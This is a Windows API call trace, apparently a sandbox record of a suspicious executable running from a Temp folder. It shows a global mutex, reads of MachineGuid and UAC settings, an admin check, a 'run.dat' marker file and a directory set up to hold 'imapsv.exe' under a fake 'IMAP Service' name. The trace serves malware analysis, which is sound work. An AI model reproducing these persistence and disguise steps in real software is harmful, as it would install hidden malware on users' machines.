[0162.357] SetWindowPos (hWnd=0x301b6, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
[0162.357] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18f084) returned 0x0
[0162.357] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18f05c) returned 0x0
[0162.358] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18ee44 | out: lpwndpl=0x18ee44) returned 1
[0162.358] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18f084) returned 0x0
[0162.358] GetClientRect (in: hWnd=0x301b6, lpRect=0x18ede0 | out: lpRect=0x18ede0) returned 1
[0162.358] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18ede0 | out: lpRect=0x18ede0) returned 1
[0162.358] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.359] RedrawWindow (hWnd=0x301b6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0162.359] GetSystemMenu (hWnd=0x301b6, bRevert=0) returned 0xb00b1
[0162.359] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18f0bc | out: lpwndpl=0x18f0bc) returned 1
[0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf020, uEnable=0x1) returned 1
[0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf030, uEnable=0x0) returned 0
[0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf060, uEnable=0x0) returned 0
[0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf120, uEnable=0x0) returned 0
[0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf000, uEnable=0x1) returned 1
[0162.360] ShowWindow (hWnd=0x301b6, nCmdShow=2) returned 0
[0162.360] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18f138) returned 0x0
[0162.361] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18eef8 | out: lpwndpl=0x18eef8) returned 1
[0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18f138) returned 0x0
[0162.361] GetClientRect (in: hWnd=0x301b6, lpRect=0x18ee94 | out: lpRect=0x18ee94) returned 1
[0162.361] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18ee94 | out: lpRect=0x18ee94) returned 1
[0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.361] GetWindowTextLengthW (hWnd=0x301b6) returned 0
[0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0162.361] GetSystemMetrics (nIndex=42) returned 0
[0162.361] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0
[0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0
[0162.361] SendMessageW (hWnd=0x301b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0162.362] GetWindowThreadProcessId (in: hWnd=0x301b6, lpdwProcessId=0x18ee68 | out: lpdwProcessId=0x18ee68) returned 0xafc
[0162.362] GetCurrentThreadId () returned 0xafc
[0162.368] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc13a
[0162.370] PostMessageW (hWnd=0x301b6, Msg=0xc13a, wParam=0x0, lParam=0x0) returned 1
[0162.371] OleInitialize (pvReserved=0x0) returned 0x80010106
[0162.371] GetLastError () returned 0x6
[0162.371] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x18f22c | out: lplpMessageFilter=0x18f22c*=0x0) returned 0x80004021
[0162.390] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 1
[0162.391] IsWindowUnicode (hWnd=0x301b6) returned 1
[0162.392] GetMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18f204) returned 1
[0162.392] TranslateMessage (lpMsg=0x18f204) returned 0
[0162.393] DispatchMessageW (lpMsg=0x18f204) returned 0x0
[0162.406] GetFocus () returned 0x0
[0162.406] ShowWindow (hWnd=0x301b6, nCmdShow=0) returned 1
[0162.406] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0
[0162.406] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18e8b8) returned 0x0
[0162.406] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18e678 | out: lpwndpl=0x18e678) returned 1
[0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18e8b8) returned 0x0
[0162.407] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e614 | out: lpRect=0x18e614) returned 1
[0162.407] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e614 | out: lpRect=0x18e614) returned 1
[0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0
[0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0
[0162.407] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e650 | out: lpRect=0x18e650) returned 1
[0162.407] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e650 | out: lpRect=0x18e650) returned 1
[0162.776] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b
[0162.776] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e4d0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0162.776] GetLastError () returned 0x0
[0162.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x18e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30
[0162.776] GetLastError () returned 0x0
[0162.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x18e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30
[0162.776] GetLastError () returned 0x0
[0162.777] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp")) returned 1
[0162.777] GetLastError () returned 0x0
[0163.026] FindResourceExA (hModule=0x0, lpType=0xa, lpName=0x1, wLanguage=0x0) returned 0x422048
[0163.028] LoadResource (hModule=0x0, hResInfo=0x422048) returned 0x422058
[0163.029] SizeofResource (hModule=0x0, hResInfo=0x422048) returned 0x15f68
[0163.031] LockResource (hResData=0x422058) returned 0x422058
[0163.097] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0163.097] GetLastError () returned 0x0
[0163.147] CryptAcquireContextW (in: phProv=0x18e7bc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18e7bc*=0x664dd8) returned 1
[0163.748] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x18e88c | out: pfEnabled=0x18e88c) returned 0x0
[0168.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18d1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a
[0168.067] GetLastError () returned 0x0
[0169.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18d17c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a
[0169.093] GetLastError () returned 0x0
[0169.607] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{70e0240c-77de-4f81-ac5c-cb838d2319d3}") returned 0x1ec
[0169.607] GetLastError () returned 0x0
[0170.051] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e964 | out: phkResult=0x18e964*=0x1f0) returned 0x0
[0170.053] RegQueryValueExA (in: hKey=0x1f0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e95c, lpData=0x0, lpcbData=0x18e960*=0x0 | out: lpType=0x18e95c*=0x1, lpData=0x0, lpcbData=0x18e960*=0x25) returned 0x0
[0170.053] RegQueryValueExA (in: hKey=0x1f0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e95c, lpData=0x612668, lpcbData=0x18e960*=0x25 | out: lpType=0x18e95c*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e960*=0x25) returned 0x0
[0170.054] RegCloseKey (hKey=0x1f0) returned 0x0
[0170.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e90c | out: phkResult=0x18e90c*=0x1f0) returned 0x0
[0170.066] RegQueryValueExW (in: hKey=0x1f0, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18e948, lpData=0x0, lpcbData=0x18e944*=0x0 | out: lpType=0x18e948*=0x4, lpData=0x0, lpcbData=0x18e944*=0x4) returned 0x0
[0170.067] RegQueryValueExW (in: hKey=0x1f0, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18e948, lpData=0x18e934, lpcbData=0x18e944*=0x4 | out: lpType=0x18e948*=0x4, lpData=0x18e934*=0x1, lpcbData=0x18e944*=0x4) returned 0x0
[0170.095] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0170.095] GetLastError () returned 0x0
[0170.096] GetCurrentProcess () returned 0xffffffff
[0170.096] GetLastError () returned 0x3f0
[0170.098] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e8d8 | out: TokenHandle=0x18e8d8*=0x1f4) returned 1
[0170.098] GetLastError () returned 0x3f0
[0170.100] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18e930 | out: TokenInformation=0x0, ReturnLength=0x18e930) returned 0
[0170.100] GetLastError () returned 0x7a
[0170.101] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x6506f0
[0170.101] GetLastError () returned 0x7a
[0170.101] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x6506f0, TokenInformationLength=0x4, ReturnLength=0x18e930 | out: TokenInformation=0x6506f0, ReturnLength=0x18e930) returned 1
[0170.101] GetLastError () returned 0x7a
[0170.103] DuplicateTokenEx (in: hExistingToken=0x1f4, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x18e8e8 | out: phNewToken=0x18e8e8*=0x1f8) returned 1
[0170.103] GetLastError () returned 0x7f
[0170.103] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18e930 | out: TokenInformation=0x0, ReturnLength=0x18e930) returned 0
[0170.103] GetLastError () returned 0x7a
[0170.103] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x650700
[0170.103] GetLastError () returned 0x7a
[0170.103] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x650700, TokenInformationLength=0x4, ReturnLength=0x18e930 | out: TokenInformation=0x650700, ReturnLength=0x18e930) returned 1
[0170.103] GetLastError () returned 0x7a
[0170.104] CheckTokenMembership (in: TokenHandle=0x1f8, SidToCheck=0x232b990*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e8c4 | out: IsMember=0x18e8c4) returned 1
[0170.104] GetLastError () returned 0x7a
[0170.105] CloseHandle (hObject=0x1f8) returned 1
[0170.105] GetLastError () returned 0x7a
[0170.106] GetCurrentProcess () returned 0xffffffff
[0170.136] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x612688 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0
[0170.136] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x18e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpFilePart=0x0) returned 0x2d
[0170.136] GetLastError () returned 0x3f0
[0170.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F", nBufferLength=0x105, lpBuffer=0x18e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F", lpFilePart=0x0) returned 0x52
[0170.137] GetLastError () returned 0x3f0
[0170.137] SetErrorMode (uMode=0x1) returned 0x0
[0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0170.138] GetLastError () returned 0x2
[0170.138] SetErrorMode (uMode=0x0) returned 0x1
[0170.138] SetErrorMode (uMode=0x1) returned 0x0
[0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31f52370, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x31f52370, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0170.138] GetLastError () returned 0x2
[0170.138] SetErrorMode (uMode=0x0) returned 0x1
[0170.138] SetErrorMode (uMode=0x1) returned 0x0
[0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0170.138] GetLastError () returned 0x2
[0170.138] SetErrorMode (uMode=0x0) returned 0x1
[0170.138] SetErrorMode (uMode=0x1) returned 0x0
[0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0170.138] GetLastError () returned 0x2
[0170.138] SetErrorMode (uMode=0x0) returned 0x1
[0170.138] SetErrorMode (uMode=0x1) returned 0x0
[0170.139] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0170.139] GetLastError () returned 0x2
[0170.139] SetErrorMode (uMode=0x0) returned 0x1
[0170.140] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpSecurityAttributes=0x0) returned 1
[0170.140] GetLastError () returned 0x2
[0170.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", nBufferLength=0x105, lpBuffer=0x18e484, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", lpFilePart=0x0) returned 0x5a
[0170.156] GetLastError () returned 0x2
[0170.156] SetErrorMode (uMode=0x1) returned 0x0
[0170.157] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\run.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e904 | out: lpFileInformation=0x18e904*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0170.157] GetLastError () returned 0x2
[0170.157] SetErrorMode (uMode=0x0) returned 0x1
[0170.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", nBufferLength=0x105, lpBuffer=0x18e36c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", lpFilePart=0x0) returned 0x5a
[0170.157] GetLastError () returned 0x2
[0170.157] SetErrorMode (uMode=0x1) returned 0x0
[0170.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\run.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f8
[0170.160] GetLastError () returned 0x0
[0170.160] GetFileType (hFile=0x1f8) returned 0x1
[0170.160] SetErrorMode (uMode=0x0) returned 0x1
[0170.160] GetFileType (hFile=0x1f8) returned 0x1
[0170.161] WriteFile (in: hFile=0x1f8, lpBuffer=0x232d8bc*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e894, lpOverlapped=0x0 | out: lpBuffer=0x232d8bc*, lpNumberOfBytesWritten=0x18e894*=0x8, lpOverlapped=0x0) returned 1
[0170.162] GetLastError () returned 0x0
[0170.162] CloseHandle (hObject=0x1f8) returned 1
[0170.164] GetLastError () returned 0x0
[0170.373] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x612688 | out: pszPath="C:\\Program Files (x86)") returned 0x0
[0170.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x18e478, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16
[0170.375] GetLastError () returned 0x3f0
[0170.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0", lpFilePart=0x0) returned 0x65
[0170.485] GetLastError () returned 0x3f0
[0170.485] SetErrorMode (uMode=0x1) returned 0x0
[0170.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\exceptions\\1.2.2.0"), fInfoLevelId=0x0, lpFileInformation=0x18e940 | out: lpFileInformation=0x18e940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0170.485] GetLastError () returned 0x3
[0170.485] SetErrorMode (uMode=0x0) returned 0x1
[0170.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service", lpFilePart=0x0) returned 0x23
[0170.547] GetLastError () returned 0x3
[0170.547] SetErrorMode (uMode=0x1) returned 0x0
[0170.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service" (normalized: "c:\\program files (x86)\\imap service"), fInfoLevelId=0x0, lpFileInformation=0x18e8dc | out: lpFileInformation=0x18e8dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0170.547] GetLastError () returned 0x2
[0170.547] SetErrorMode (uMode=0x0) returned 0x1
[0170.547] SetErrorMode (uMode=0x1) returned 0x0
[0170.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), fInfoLevelId=0x0, lpFileInformation=0x18e8dc | out: lpFileInformation=0x18e8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0170.547] GetLastError () returned 0x2
[0170.547] SetErrorMode (uMode=0x0) returned 0x1
[0170.547] CreateDirectoryW (lpPathName="C:\\Program Files (x86)\\IMAP Service" (normalized: "c:\\program files (x86)\\imap service"), lpSecurityAttributes=0x0) returned 1
[0170.547] GetLastError () returned 0x2
[0170.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e484, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e
[0170.558] GetLastError () returned 0x2
[0170.558] SetErrorMode (uMode=0x1) returned 0x0
[0170.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x18e904 | out: lpFileInformation=0x18e904*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0170.558] GetLastError () returned 0x2
[0170.558] SetErrorMode (uMode=0x0) returned 0x1
[0170.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e
[0170.558] GetLastError () returned 0x2
[0170.558] DeleteFileW (lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe")) returned 0
[0170.558] GetLastError () returned 0x2
